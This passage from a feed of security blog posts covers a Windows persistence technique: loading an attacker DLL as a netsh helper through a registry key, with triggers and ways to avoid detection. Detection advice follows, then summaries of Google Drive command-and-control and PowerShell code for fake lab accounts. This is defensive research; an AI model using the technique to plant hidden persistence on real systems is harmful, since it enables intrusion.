<h3><strong>Add what?</strong></h3> 
<h3><a href="http://www.adaptforward.com/wp-content/uploads/2016/09/netsh4.png"><img src="http://www.adaptforward.com/wp-content/uploads/2016/09/netsh4-768x390.png" alt="netsh4" width="768" height="390"></a></h3> 
<h3><strong>Installs a DLL? Que!?</strong></h3> 
<h3><strong>I found a POC DLL I use for stuff that just pops calc and figured why not. There’s no way it’s going to just run this, right?</strong></h3> 
<h3><a href="http://www.adaptforward.com/wp-content/uploads/2016/09/netsh5.png"><img src="http://www.adaptforward.com/wp-content/uploads/2016/09/netsh5-768x393.png" alt="netsh5" width="768" height="393"></a></h3> 
<h3><strong>Dang. What is InitHelperDLL? To Google we go. According to Microsoft </strong></h3> 
<h3><strong>The InitHelperDll function is called by NetShell to perform an initial loading of a helper.</strong></h3> 
<h3><strong>–<a href="https://msdn.microsoft.com/en-us/library/windows/desktop/ms708327(v=vs.85).aspx">https://msdn.microsoft.com/en-us/library/windows/desktop/ms708327(v=vs.85).aspx</a></strong></h3> 
<h3><strong>Ok, a required export. What’s a helper?</strong></h3> 
<h3><strong>NetShell helpers are DLL files that provide the functionality of a context. Additional helpers extend the functionality of NetShell by providing administrative scripting for networking tasks. Helpers generally provide configuration support, monitoring support, or both, for networking services, utilities, or protocols.</strong></h3> 
<h3><strong>–<a href="https://msdn.microsoft.com/en-us/library/windows/desktop/ms708347(v=vs.85).aspx">https://msdn.microsoft.com/en-us/library/windows/desktop/ms708347(v=vs.85).aspx</a></strong></h3> 
<h3></h3> 
<h3><strong>At this point, I reach out to <a href="https://twitter.com/subTee">Casey Smith</a>, who is really good at finding obscure ways of executing code in Windows. He’s written extensively on the subject @ <a href="https://subt0x10.blogspot.com">https://subt0x10.blogspot.com</a>. I ask him if he’s ever heard of this technique and he says he hasn’t. A few minutes later and he’s got a working POC going. </strong></h3> 
<h3><a href="http://www.adaptforward.com/wp-content/uploads/2016/09/netsh6.png"><img src="http://www.adaptforward.com/wp-content/uploads/2016/09/netsh6.png" alt="netsh6" width="675" height="436"></a></h3> 
<h3></h3> 
<h3><a href="http://www.adaptforward.com/wp-content/uploads/2016/09/thumbnail.png"><img src="http://www.adaptforward.com/wp-content/uploads/2016/09/thumbnail-300x300.png" alt="thumbnail" width="300" height="300"></a></h3> 
<h3></h3> 
<h3></h3> 
<h3><strong>So where do we go from here? Well, I wanted to reverse what I had just done via the “delete helper &lt;PATH&gt;” command. So I opened another prompt to delete the entry and…</strong></h3> 
<h3></h3> 
<h3><a href="http://www.adaptforward.com/wp-content/uploads/2016/09/netsh7.png"><img src="http://www.adaptforward.com/wp-content/uploads/2016/09/netsh7.png" alt="netsh7" width="675" height="412"></a></h3> 
<h3></h3> 
<h3><strong>Whoa, it executed again. It’s persistent. So, I went back to the Net Helper reference section and found this.</strong></h3> 
<h3><strong>Helpers are DLL files that implement a NetShell context and zero or more of its subcontexts, and are registered with Windows through the system registry.</strong></h3> 
<h3><strong>-https://msdn.microsoft.com/en-us/library/windows/desktop/ms708320(v=vs.85).aspx</strong></h3> 
<h3><strong>through the system registry</strong></h3> 
<h3><strong>through the system registry</strong></h3> 
<h3><strong>through the system registry</strong></h3> 
<h3><strong>through the system registry</strong></h3> 
<h3><strong>through the system registry</strong></h3> 
<h3></h3> 
<h3><strong>This just got better. Pulled up the registry and searched for my DLL.</strong></h3> 
<h3><strong> <a href="http://www.adaptforward.com/wp-content/uploads/2016/09/netsh8.png"><img src="http://www.adaptforward.com/wp-content/uploads/2016/09/netsh8.png" alt="netsh8" width="830" height="221"></a></strong></h3> 
<h3><strong>The entry is made in the HKLM\SOFTWARE\Microsoft\Netsh key. All the other DLLs reside in the System folder, but it’s not a requirement for your evil DLL. It’ll run from anywhere. My advice would be to put it in a location where any user account can read from, like System or AppData. You do need admin rights for this by the way. Or at least rights that will let whatever context you’re in write to HKLM.</strong></h3> 
<h3><strong>The only caveat is that netsh.exe must be ran first for the dll to execute. Netsh doesn’t automatically run on boot by default, but you could easily use a scheduled task for example. Or a start service. Or a Powershell profile. Or a RunOnce key.  Or blah blah blah. </strong></h3> 
<h3><strong><a href="http://www.adaptforward.com/wp-content/uploads/2016/09/schtask.png"><img src="http://www.adaptforward.com/wp-content/uploads/2016/09/schtask.png" alt="schtask" width="913" height="487"></a><br></strong></h3> 
<h3><strong>Default view of Autoruns won’t catch it with any listed user account. </strong></h3> 
<h3><a href="http://www.adaptforward.com/wp-content/uploads/2016/09/autorun.png"><img src="http://www.adaptforward.com/wp-content/uploads/2016/09/autorun.png" alt="autorun" width="631" height="208"></a></h3> 
<h3><strong>You would need to uncheck the “Hide Windows Entries” options to see it</strong></h3> 
<h3> <a href="http://www.adaptforward.com/wp-content/uploads/2016/09/autorun2.png"><img src="http://www.adaptforward.com/wp-content/uploads/2016/09/autorun2.png" alt="autorun2" width="1323" height="124"><br></a></h3> 
<h3>“But, it’s signed, and Virustotal didn’t find anything!”</h3> 
<h5><strong>(Sorry about the image size. The page formatting will not make it any larger. Just click to view full image)</strong></h5> 
<h3><strong>I know there’s a ton of VPN client programs that regularly invoke netsh for various reasons. They usually run under SYSTEM context, too. So depending on the environment, you may not even need to force netsh to run. This is why recon is important before you go making noise you don’t necessarily need to make. </strong></h3> 
<h3><strong>Regarding the defensive side, if you’re doing real-time hunting with a tool like Sysmon(which I HIGHLY HIGHLY recommend), you’re going to want to look for any child processes of netsh.exe</strong></h3> 
<h3><a href="http://www.adaptforward.com/wp-content/uploads/2016/09/netshsysmon.png"><img src="http://www.adaptforward.com/wp-content/uploads/2016/09/netshsysmon.png" alt="netshsysmon" width="1138" height="573"></a></h3> 
<h3><strong>I have a client with a pretty sizable group of hosts and I searched going back 120 days looking for children of netsh.exe. There were zero among MILLIONS of netsh.exe processes started. </strong></h3> 
<h3><span style="text-decoration:underline;"><strong>Other general tips/methods to stop or detect this attack:</strong></span></h3> 
<h3><strong>-Obviously scan the HKLM\SOFTWARE\Microsoft\Netsh key for any new entries. Easy. You should have a dynamic list of possible persistence locations anyway in the registry anyway. </strong></h3> 
<h3>–<strong>Your team should be looking for registry changes made via CMD, powershell, and/or WMI. It may happen frequently, but the more time an analyst spends getting to know their territory, the easier it gets to spot things that look odd.</strong></h3> 
<h3><strong>-DLL whitelisting. Microsoft’s Applocker will let you configure policy rules on dll executions. This is why I’m a huge fan of organizations creating “gold images” of their operating systems.  As a hunter, I know what the baseline is and searching for anomalies is easier. If I’m a system admin, gold images make whitelisting so much easier. I’ll know exactly what to allow and what to block. Any changes need to be approved. Now, if you have no gold image, creating DLL whitelists can be a nightmare. If you start rolling out DLL rules, you can break a lot of important stuff. The good news is that you can create Applocker DLL rules that are audit only. The DLLs will still run, but there will be a Warning message written to the Applocker log. Suck those logs up into your SIEM and go hunting.  </strong></h3> 
<h3><strong>So, how important is this finding? I have no idea. Will it become the next heartbleed? Is it super NSA zero day complicated? Hardly. But, it’s another avenue an adversary can use. Remember, defenders need to worry about numerous of ways an attacker can carry out their plan. Attackers only need to find one.</strong></h3> 
<h3><strong>I doubt too many folks are monitoring the netsh key for changes or monitoring child processes of netsh.exe. But hey, maybe you will now.</strong></h3> 
<h3><strong>Again, thanks to <a href="https://twitter.com/subTee">Casey Smith</a> for the quick response and for the work on the POC. </strong></h3> 
<h3><strong>I also want to give a shout out to <a href="https://twitter.com/Hexacorn">Adamb</a> who hosts one of the best persistence/DFIR blogs out there. He wrote about the existence of net helper DLLs back in 2013: <a href="http://www.hexacorn.com/blog/2013/08/21/da-lil-world-of-dll-exports-and-entry-points-part-3/">http://www.hexacorn.com/blog/2013/08/21/da-lil-world-of-dll-exports-and-entry-points-part-3/</a></strong></h3> 
<p><strong>-Matt</strong></p>]]></description>
<pubDate>Mon, 03 Oct 2016 01:55:25 +0000</pubDate>
<dc:creator>Matt Demaske</dc:creator>
<source url="http://www.adaptforward.com/">Adapt Forward</source>
<guid isPermaLink="false">http://www.inoreader.com/article/3a9c6e7f8cee311a</guid>
</item>
<item>
<title>Google Docs becomes Google SOCKS: C2 Over Google Drive</title>
<link>http://www.blackhillsinfosec.com/?p=5230</link>
<description><![CDATA[<p><img title="google_socks_diagram.png" src="http://lh6.googleusercontent.com/_JoDo-NVKMZPosktCD0mwuSd9fStqdAaj62Ph6q1oblSoyMkhaDvkFrkar8qerCykhmpMindkVjwkyupkVXgwKIgMx146TG_bhvVtQU14-wVnM_4sUOLPsbHmsWcsaO-bqcFsBf7" alt="_JoDo-NVKMZPosktCD0mwuSd9fStqdAaj62Ph6q1"></p>Luke Baggett // If you’re monitoring a network with internet access, it’s almost inevitable that you’re going to see a lot of traffic to and from Google servers. Blending in with Google traffic by using Google as a relay may help an attacker avoid detection. How could an attacker use Google as a relay? One […]]]></description>
<pubDate>Mon, 05 Sep 2016 15:25:01 +0000</pubDate>
<dc:creator>BHIS</dc:creator>
<source url="https://www.blackhillsinfosec.com/">Black Hills Information Security</source>
<guid isPermaLink="false">http://www.inoreader.com/article/3a9c6e7f9c0ff84d</guid>
</item>
<item>
<title>ServiceNow workflow, Powershell and JSON</title>
<link>https://www.shellandco.net/servicenow-workflow-powershell-json/</link>
<description><![CDATA[<p>ServiceNow provides ITSM solutions and products: Configuration Management Database Edge Encryption Knowledge Management Performance Analytics Reporting Service Catalog Service Portal Designer Subscription Management Visual Task Boards Workflow The last feature is very interesting. Each workflow can contain “activities”. These activities… </p><p>The post <a href="https://www.shellandco.net/servicenow-workflow-powershell-json/">ServiceNow workflow, Powershell and JSON</a> appeared first on <a href="https://www.shellandco.net">shell {&amp;} co</a>.</p>]]></description>
<pubDate>Fri, 02 Sep 2016 14:07:16 +0000</pubDate>
<dc:creator>Nicolas HAHANG</dc:creator>
<source url="https://www.shellandco.net">shell {&amp;amp;} co</source>
<guid isPermaLink="false">http://www.inoreader.com/article/3a9c6e7f904bce10</guid>
</item>
<item>
<title>Creating Real Looking User Accounts in AD Lab</title>
<link>http://www.darkoperator.com/blog/2016/7/30/creating-real-looking-user-accounts-in-ad-lab</link>
<description><![CDATA[<p>As I write my own tools for IR Hunting and Post-Expoitation I like to have a large realistic set of AD accounts and also accounts with accentuated and not english characters to make sure my tools will work in large environments and also simulate multiple geographical locations since most customers are not US based. When creating realistic user accounts I have found no better source that using<a href="http://www.fakenamegenerator.com"> http://www.fakenamegenerator.com</a> it allows me to order a CSV with a large amount of realistic looking users and their details.  </p><p>To do this I first go to the Fake Name Generator page and select from the menu the <strong>Order in Bulk</strong> option, click on the checkbox to accept the terms of services and select as output <strong>Comma separated (.csv)</strong></p>  
 
   
     
     
       
         
           
            <img src="https://static1.squarespace.com/static/52ad1d91e4b00a98a27ba20e/t/579d66e2f5e2317b42a34df6/1469933301782/?format=1000w" alt="?format=1000w"><p>Now on step 3 I can select the name set and the country for the account information I want. Once that is selected I then select the following fields:</p><ul dir="ltr"><li>GivenName</li><li>Surname</li><li>StreetAddress</li><li>City</li><li>Title</li><li>Username</li><li>Password</li><li>Country</li><li>TelephoneNumber</li><li>Occupation </li></ul><img src="https://static1.squarespace.com/static/52ad1d91e4b00a98a27ba20e/t/579d6701f5e2317b42a34e59/1469933327357/?format=1000w" alt="?format=1000w"><p>Once the fields have been selected I simply specify the number, the email and enter the captcha to get the accounts via email. </p>  
 
   
     
     
       
         
           
            <img src="https://static1.squarespace.com/static/52ad1d91e4b00a98a27ba20e/t/579d671ef5e2317b42a34f48/1469933352404/?format=1000w" alt="?format=1000w"><p>Now once I have the CSV in my experience they tend to have repeated usernames, also I have found my self missing one or more of the fields when I selected what to include in the CSV so I wrote a series of PowerShell functions I can use when working with the data. </p><p>The first function is a simple one that allows me to test that the CSV contains all the fields I want. It simply extracts the header from the CSV and checks against a list. </p><p><span><span> </span></span><span><span>&lt;#</span></span></p><p><span><span>.Synopsis</span></span></p><p><span><span>   Test a CSV from FakeNameGenerator.com for required fields.</span></span></p><p><span><span>.DESCRIPTION</span></span></p><p><span><span>  Test a CSV from FakeNameGenerator.com for required fields.</span></span></p><p><span><span>.EXAMPLE</span></span></p><p><span><span>   Test-LabADUserList -Path .\FakeNameGenerator.com_b58aa6a5.csv</span></span></p><p><span><span>#&gt;</span></span></p><p><span><span>function</span></span><span><span> </span></span><span><span>Test-LabADUserList</span></span></p><p><span><span>{</span></span></p><p><span><span>    </span></span><span><span>[</span></span><span><span>CmdletBinding</span></span><span><span>()</span></span><span><span>]</span></span></p><p><span><span>    </span></span><span><span>[</span></span><span><span>OutputType</span></span><span><span>(</span></span><span><span>[</span></span><span><span>Bool</span></span><span><span>]</span></span><span><span>)</span></span><span><span>]</span></span></p><p><span><span>    </span></span><span><span>Param</span></span></p><p><span><span>    (</span></span></p><p><span><span>        </span></span><span><span>[</span></span><span><span>Parameter</span></span><span><span>(Mandatory</span></span><span><span>=</span></span><span><span>$true</span></span><span><span>,</span></span></p><p><span><span>                   Position</span></span><span><span>=</span></span><span><span>0</span></span><span><span>,</span></span></p><p><span><span>                   ValueFromPipeline</span></span><span><span>=</span></span><span><span>$true</span></span><span><span>,</span></span></p><p><span><span>                   ValueFromPipelineByPropertyName</span></span><span><span>=</span></span><span><span>$true</span></span><span><span>,</span></span></p><p><span><span>                   HelpMessage</span></span><span><span>=</span></span><span><span>"Path to CSV generated from fakenamegenerator.com."</span></span><span><span>)</span></span><span><span>]</span></span></p><p><span><span>        </span></span><span><span>[</span></span><span><span>Alias</span></span><span><span>(</span></span><span><span>"PSPath"</span></span><span><span>)</span></span><span><span>]</span></span></p><p><span><span>        </span></span><span><span>[</span></span><span><span>ValidateNotNullOrEmpty</span></span><span><span>()</span></span><span><span>]</span></span></p><p><span><span>        </span></span><span><span>[</span></span><span><span>string</span></span><span><span>]</span></span></p><p><span><span>        </span></span><span><span>$Path</span></span></p><p><span><span>    )</span></span></p><p></p><p><span><span>    </span></span><span><span>Begin</span></span><span><span> {}</span></span></p><p><span><span>    </span></span><span><span>Process</span></span></p><p><span><span>    {</span></span></p><p><span><span>        </span></span><span><span># Test if the file exists.</span></span></p><p><span><span>        </span></span><span><span>if</span></span><span><span> (</span></span><span><span>Test-Path</span></span><span><span> </span></span><span><span>-Path</span></span><span><span> </span></span><span><span>$Path</span></span><span><span> </span></span><span><span>-PathType</span></span><span><span> </span></span><span><span>Leaf</span></span><span><span>) </span></span></p><p><span><span>        {</span></span></p><p><span><span>            </span></span><span><span>Write-Verbose</span></span><span><span> </span></span><span><span>-Message</span></span><span><span> </span></span><span><span>"Testing file </span></span><span><span>$(</span></span><span><span>$Path</span></span><span><span>)</span></span><span><span>"</span></span></p><p><span><span>        } </span></span></p><p><span><span>        </span></span><span><span>else</span></span><span><span> </span></span></p><p><span><span>        {</span></span></p><p><span><span>            </span></span><span><span>Write-Error</span></span><span><span> </span></span><span><span>-Message</span></span><span><span> </span></span><span><span>"File </span></span><span><span>$(</span></span><span><span>$Path</span></span><span><span>)</span></span><span><span> was not found or not a file."</span></span><span><span> </span></span></p><p><span><span>            </span></span><span><span>$false</span></span></p><p><span><span>            </span></span><span><span>return</span></span></p><p><span><span>        }</span></span></p><p></p><p><span><span>        </span></span><span><span># Get CSV header info.</span></span></p><p><span><span>        </span></span><span><span>$fileinfo</span></span><span><span> </span></span><span><span>=</span></span><span><span> </span></span><span><span>Import-Csv</span></span><span><span> </span></span><span><span>-Path</span></span><span><span> </span></span><span><span>$Path</span></span><span><span> </span></span><span><span>|</span></span><span><span> </span></span><span><span>Get-Member</span></span><span><span> </span></span><span><span>|</span></span><span><span> </span></span><span><span>Select-Object</span></span><span><span> </span></span><span><span>-ExpandProperty</span></span><span><span> </span></span><span><span>Name</span></span></p><p><span><span>        </span></span><span><span>$valid</span></span><span><span> </span></span><span><span>=</span></span><span><span> </span></span><span><span>$true</span></span></p><p><span><span>        </span></span></p><p><span><span>            </span></span></p><p><span><span>        </span></span><span><span>if</span></span><span><span> (</span></span><span><span>'City'</span></span><span><span> </span></span><span><span>-notin</span></span><span><span> </span></span><span><span>$fileinfo</span></span><span><span>) {</span></span></p><p><span><span>            </span></span><span><span>Write-Warning</span></span><span><span> </span></span><span><span>-Message</span></span><span><span> </span></span><span><span>'City field is missing'</span></span></p><p><span><span>            </span></span><span><span>$valid</span></span><span><span> </span></span><span><span>=</span></span><span><span>  </span></span><span><span>$false</span></span></p><p><span><span>        }</span></span></p><p></p><p><span><span>        </span></span><span><span>if</span></span><span><span> (</span></span><span><span>'Country'</span></span><span><span> </span></span><span><span>-notin</span></span><span><span> </span></span><span><span>$fileinfo</span></span><span><span>) {</span></span></p><p><span><span>            </span></span><span><span>Write-Warning</span></span><span><span> </span></span><span><span>-Message</span></span><span><span> </span></span><span><span>'Country field is missing'</span></span></p><p><span><span>            </span></span><span><span>$valid</span></span><span><span> </span></span><span><span>=</span></span><span><span>  </span></span><span><span>$false</span></span></p><p><span><span>        }</span></span></p><p></p><p></p><p><span><span>        </span></span><span><span>if</span></span><span><span> (</span></span><span><span>'GivenName'</span></span><span><span> </span></span><span><span>-notin</span></span><span><span> </span></span><span><span>$fileinfo</span></span><span><span>) {</span></span></p><p><span><span>            </span></span><span><span>Write-Warning</span></span><span><span> </span></span><span><span>-Message</span></span><span><span> </span></span><span><span>'GivenName field is missing'</span></span></p><p><span><span>            </span></span><span><span>$valid</span></span><span><span> </span></span><span><span>=</span></span><span><span>  </span></span><span><span>$false</span></span></p><p><span><span>        }</span></span></p><p></p><p><span><span>        </span></span><span><span>if</span></span><span><span> (</span></span><span><span>'Occupation'</span></span><span><span> </span></span><span><span>-notin</span></span><span><span> </span></span><span><span>$fileinfo</span></span><span><span>) {</span></span></p><p><span><span>            </span></span><span><span>Write-Warning</span></span><span><span> </span></span><span><span>-Message</span></span><span><span> </span></span><span><span>'Occupation field is missing'</span></span></p><p><span><span>            </span></span><span><span>$valid</span></span><span><span> </span></span><span><span>=</span></span><span><span>  </span></span><span><span>$false</span></span></p><p><span><span>        }</span></span></p><p></p><p><span><span>        </span></span><span><span>if</span></span><span><span> (</span></span><span><span>'Password'</span></span><span><span> </span></span><span><span>-notin</span></span><span><span> </span></span><span><span>$fileinfo</span></span><span><span>) {</span></span></p><p><span><span>            </span></span><span><span>Write-Warning</span></span><span><span> </span></span><span><span>-Message</span></span><span><span> </span></span><span><span>'Password field is missing'</span></span></p><p><span><span>            </span></span><span><span>$valid</span></span><span><span> </span></span><span><span>=</span></span><span><span>  </span></span><span><span>$false</span></span></p><p><span><span>        }</span></span></p><p></p><p><span><span>        </span></span><span><span>if</span></span><span><span> (</span></span><span><span>'StreetAddress'</span></span><span><span> </span></span><span><span>-notin</span></span><span><span> </span></span><span><span>$fileinfo</span></span><span><span>) {</span></span></p><p><span><span>            </span></span><span><span>Write-Warning</span></span><span><span> </span></span><span><span>-Message</span></span><span><span> </span></span><span><span>'StreetAddress field is missing'</span></span></p><p><span><span>            </span></span><span><span>$valid</span></span><span><span> </span></span><span><span>=</span></span><span><span>  </span></span><span><span>$false</span></span></p><p><span><span>        }</span></span></p><p></p><p><span><span>        </span></span><span><span>if</span></span><span><span> (</span></span><span><span>'Surname'</span></span><span><span> </span></span><span><span>-notin</span></span><span><span> </span></span><span><span>$fileinfo</span></span><span><span>) {</span></span></p><p><span><span>            </span></span><span><span>Write-Warning</span></span><span><span> </span></span><span><span>-Message</span></span><span><span> </span></span><span><span>'Surname field is missing'</span></span></p><p><span><span>            </span></span><span><span>$valid</span></span><span><span> </span></span><span><span>=</span></span><span><span>  </span></span><span><span>$false</span></span></p><p><span><span>        }</span></span></p><p></p><p><span><span>        </span></span><span><span>if</span></span><span><span> (</span></span><span><span>'TelephoneNumber'</span></span><span><span> </span></span><span><span>-notin</span></span><span><span> </span></span><span><span>$fileinfo</span></span><span><span>) {</span></span></p><p><span><span>            </span></span><span><span>Write-Warning</span></span><span><span> </span></span><span><span>-Message</span></span><span><span> </span></span><span><span>'TelephoneNumber field is missing'</span></span></p><p><span><span>            </span></span><span><span>$valid</span></span><span><span> </span></span><span><span>=</span></span><span><span>  </span></span><span><span>$false</span></span></p><p><span><span>        }</span></span></p><p></p><p><span><span>        </span></span><span><span>if</span></span><span><span> (</span></span><span><span>'Username'</span></span><span><span> </span></span><span><span>-notin</span></span><span><span> </span></span><span><span>$fileinfo</span></span><span><span>) {</span></span></p><p><span><span>            </span></span><span><span>Write-Warning</span></span><span><span> </span></span><span><span>-Message</span></span><span><span> </span></span><span><span>'Username field is missing'</span></span></p><p><span><span>            </span></span><span><span>$valid</span></span><span><span> </span></span><span><span>=</span></span><span><span>  </span></span><span><span>$false</span></span></p><p><span><span>        } </span></span></p><p></p><p><span><span>        </span></span><span><span>$valid</span></span></p><p><span><span>    }</span></span></p><p><span><span>    </span></span><span><span>End</span></span><span><span> {}</span></span></p><p><span><span>} </span></span></p><hr><p>The next function will remove any duplicate username entries, I have found with large samples that it is inevitable for some of the usernames to be duplicated. This function uses a lot the pipeline so as minimize memory use, not the fastest but when dealing with several thousands of fake user details in a VM environment with limited memory it becomes an acceptable tradeoff.</p><p><span><span> </span></span><span><span>&lt;#</span></span></p><p><span><span>.Synopsis</span></span></p><p><span><span>   Removes duplicate username entries from Fake Name Generator generated accounts.</span></span></p><p><span><span>.DESCRIPTION</span></span></p><p><span><span>   Removes duplicate username entries from Fake Name Generator generated accounts. Bulk</span></span></p><p><span><span>   generated accounts from fakenamegenerator.com must have as fields:</span></span></p><p><span><span>   * GivenName</span></span></p><p><span><span>   * Surname</span></span></p><p><span><span>   * StreetAddress</span></span></p><p><span><span>   * City</span></span></p><p><span><span>   * Title</span></span></p><p><span><span>   * Username</span></span></p><p><span><span>   * Password</span></span></p><p><span><span>   * Country</span></span></p><p><span><span>   * TelephoneNumber</span></span></p><p><span><span>   * Occupation</span></span></p><p><span><span>.EXAMPLE</span></span></p><p><span><span>    Remove-LabADUsertDuplicate -Path .\FakeNameGenerator.com_b58aa6a5.csv -OutPath .\unique_users.csv</span></span></p><p><span><span>#&gt;</span></span></p><p><span><span>function</span></span><span><span> </span></span><span><span>Remove-LabADUsertDuplicate</span></span></p><p><span><span>{</span></span></p><p><span><span>    </span></span><span><span>[</span></span><span><span>CmdletBinding</span></span><span><span>()</span></span><span><span>]</span></span></p><p><span><span>    </span></span><span><span>Param</span></span></p><p><span><span>    (</span></span></p><p><span><span>        </span></span><span><span>[</span></span><span><span>Parameter</span></span><span><span>(Mandatory</span></span><span><span>=</span></span><span><span>$true</span></span><span><span>,</span></span></p><p><span><span>                   Position</span></span><span><span>=</span></span><span><span>0</span></span><span><span>,</span></span></p><p><span><span>                   ParameterSetName</span></span><span><span>=</span></span><span><span>"Path"</span></span><span><span>,</span></span></p><p><span><span>                   ValueFromPipeline</span></span><span><span>=</span></span><span><span>$true</span></span><span><span>,</span></span></p><p><span><span>                   ValueFromPipelineByPropertyName</span></span><span><span>=</span></span><span><span>$true</span></span><span><span>,</span></span></p><p><span><span>                   HelpMessage</span></span><span><span>=</span></span><span><span>"Path to CSV to remove duplicates from."</span></span><span><span>)</span></span><span><span>]</span></span></p><p><span><span>        </span></span><span><span>[</span></span><span><span>Alias</span></span><span><span>(</span></span><span><span>"PSPath"</span></span><span><span>)</span></span><span><span>]</span></span></p><p><span><span>        </span></span><span><span>[</span></span><span><span>ValidateNotNullOrEmpty</span></span><span><span>()</span></span><span><span>]</span></span></p><p><span><span>        </span></span><span><span>[</span></span><span><span>string</span></span><span><span>]</span></span></p><p><span><span>        </span></span><span><span>$Path</span></span><span><span>,</span></span></p><p></p><p><span><span>        </span></span><span><span>[</span></span><span><span>Parameter</span></span><span><span>(Mandatory</span></span><span><span>=</span></span><span><span>$true</span></span><span><span>,</span></span></p><p><span><span>                   Position</span></span><span><span>=</span></span><span><span>1</span></span><span><span>,</span></span></p><p><span><span>                   ParameterSetName</span></span><span><span>=</span></span><span><span>"Path"</span></span><span><span>,</span></span></p><p><span><span>                   ValueFromPipeline</span></span><span><span>=</span></span><span><span>$true</span></span><span><span>,</span></span></p><p><span><span>                   ValueFromPipelineByPropertyName</span></span><span><span>=</span></span><span><span>$true</span></span><span><span>,</span></span></p><p><span><span>                   HelpMessage</span></span><span><span>=</span></span><span><span>"Path to CSV to remove duplicates from."</span></span><span><span>)</span></span><span><span>]</span></span></p><p><span><span>        </span></span><span><span>[</span></span><span><span>ValidateNotNullOrEmpty</span></span><span><span>()</span></span><span><span>]</span></span></p><p><span><span>        </span></span><span><span>[</span></span><span><span>string</span></span><span><span>]</span></span></p><p><span><span>        </span></span><span><span>$OutPath</span></span></p><p><span><span>    )</span></span></p><p></p><p><span><span>    </span></span><span><span>Begin</span></span><span><span> {}</span></span></p><p><span><span>    </span></span><span><span>Process</span></span></p><p><span><span>    {</span></span></p><p><span><span>        </span></span><span><span>Write-Verbose</span></span><span><span> </span></span><span><span>-Message</span></span><span><span> </span></span><span><span>"Processing </span></span><span><span>$(</span></span><span><span>$Path</span></span><span><span>)</span></span><span><span>"</span></span></p><p><span><span>        </span></span><span><span>if</span></span><span><span> (</span></span><span><span>Test-LabADUserList</span></span><span><span> </span></span><span><span>-Path</span></span><span><span> </span></span><span><span>$Path</span></span><span><span>) {</span></span></p><p><span><span>            </span></span><span><span>Import-Csv</span></span><span><span> </span></span><span><span>-Path</span></span><span><span> </span></span><span><span>$Path</span></span><span><span> </span></span><span><span>|</span></span><span><span> </span></span><span><span>Group-Object</span></span><span><span> </span></span><span><span>Username</span></span><span><span> </span></span><span><span>|</span></span><span><span> </span></span><span><span>Foreach-Object</span></span><span><span> {</span></span></p><p><span><span>                </span></span><span><span>$_</span></span><span><span>.</span></span><span><span>group </span></span><span><span>|</span></span><span><span> </span></span><span><span>Select-Object</span></span><span><span> </span></span><span><span>-Last</span></span><span><span> </span></span><span><span>1</span></span><span><span>} </span></span><span><span>|</span></span><span><span> </span></span><span><span>Export-Csv</span></span><span><span> </span></span><span><span>-Path</span></span><span><span> </span></span><span><span>$OutPath</span></span><span><span> </span></span><span><span>-Encoding</span></span><span><span> </span></span><span><span>UTF8</span></span></p><p><span><span>        } </span></span><span><span>else</span></span><span><span> {</span></span></p><p><span><span>            </span></span><span><span>Write-Error</span></span><span><span> </span></span><span><span>-Message</span></span><span><span> </span></span><span><span>"File </span></span><span><span>$(</span></span><span><span>$Path</span></span><span><span>)</span></span><span><span> is not valid."</span></span></p><p><span><span>        }</span></span></p><p><span><span>        </span></span></p><p><span><span>    }</span></span></p><p><span><span>    </span></span><span><span>End</span></span><span><span> {}</span></span></p><p><span><span>} </span></span></p><hr><p>The last function does the importing of accounts from the processed CSV with duplicate usernames removed in to a specified OU. The function will create OUs under the specified one for each country in the account set. </p><p><span><span> </span></span></p><p><span><span>&lt;#</span></span></p><p><span><span>.SYNOPSIS</span></span></p><p><span><span>    Imports a CSV from Fake Name Generator to create test AD User accounts.</span></span></p><p><span><span>.DESCRIPTION</span></span></p><p><span><span>    Imports a CSV from Fake Name Generator to create test AD User accounts. </span></span></p><p><span><span>    It will create OUs per country under the OU specified. Bulk</span></span></p><p><span><span>   generated accounts from fakenamegenerator.com must have as fields:</span></span></p><p><span><span>   * GivenName</span></span></p><p><span><span>   * Surname</span></span></p><p><span><span>   * StreetAddress</span></span></p><p><span><span>   * City</span></span></p><p><span><span>   * Title</span></span></p><p><span><span>   * Username</span></span></p><p><span><span>   * Password</span></span></p><p><span><span>   * Country</span></span></p><p><span><span>   * TelephoneNumber</span></span></p><p><span><span>   * Occupation</span></span></p><p><span><span>.EXAMPLE</span></span></p><p><span><span>    C:\PS&gt; Import-LabADUser -Path .\unique.csv -OU DemoUsers</span></span></p><p><span><span>#&gt;</span></span></p><p><span><span>function</span></span><span><span> </span></span><span><span>Import-LabADUser</span></span></p><p><span><span>{</span></span></p><p><span><span>    </span></span><span><span>[</span></span><span><span>CmdletBinding</span></span><span><span>()</span></span><span><span>]</span></span></p><p><span><span>    </span></span><span><span>param</span></span><span><span>(</span></span></p><p><span><span>        </span></span><span><span>[</span></span><span><span>Parameter</span></span><span><span>(Mandatory</span></span><span><span>=</span></span><span><span>$true</span></span><span><span>,</span></span></p><p><span><span>                   Position</span></span><span><span>=</span></span><span><span>0</span></span><span><span>,</span></span></p><p><span><span>                   ValueFromPipeline</span></span><span><span>=</span></span><span><span>$true</span></span><span><span>,</span></span></p><p><span><span>                   ValueFromPipelineByPropertyName</span></span><span><span>=</span></span><span><span>$true</span></span><span><span>,</span></span></p><p><span><span>                   HelpMessage</span></span><span><span>=</span></span><span><span>"Path to one or more locations."</span></span><span><span>)</span></span><span><span>]</span></span></p><p><span><span>        </span></span><span><span>[</span></span><span><span>Alias</span></span><span><span>(</span></span><span><span>"PSPath"</span></span><span><span>)</span></span><span><span>]</span></span></p><p><span><span>        </span></span><span><span>[</span></span><span><span>ValidateNotNullOrEmpty</span></span><span><span>()</span></span><span><span>]</span></span></p><p><span><span>        </span></span><span><span>[</span></span><span><span>string</span></span><span><span>[]]</span></span></p><p><span><span>        </span></span><span><span>$Path</span></span><span><span>,</span></span></p><p></p><p><span><span>        </span></span><span><span>[</span></span><span><span>Parameter</span></span><span><span>(Mandatory</span></span><span><span>=</span></span><span><span>$true</span></span><span><span>,</span></span></p><p><span><span>                   position</span></span><span><span>=</span></span><span><span>1</span></span><span><span>,</span></span></p><p><span><span>                   ValueFromPipeline</span></span><span><span>=</span></span><span><span>$true</span></span><span><span>,</span></span></p><p><span><span>                   ValueFromPipelineByPropertyName</span></span><span><span>=</span></span><span><span>$true</span></span><span><span>,</span></span></p><p><span><span>                   HelpMessage</span></span><span><span>=</span></span><span><span>"Organizational Unit to save users."</span></span><span><span>)</span></span><span><span>]</span></span></p><p><span><span>        </span></span><span><span>[</span></span><span><span>String</span></span><span><span>]</span></span></p><p><span><span>        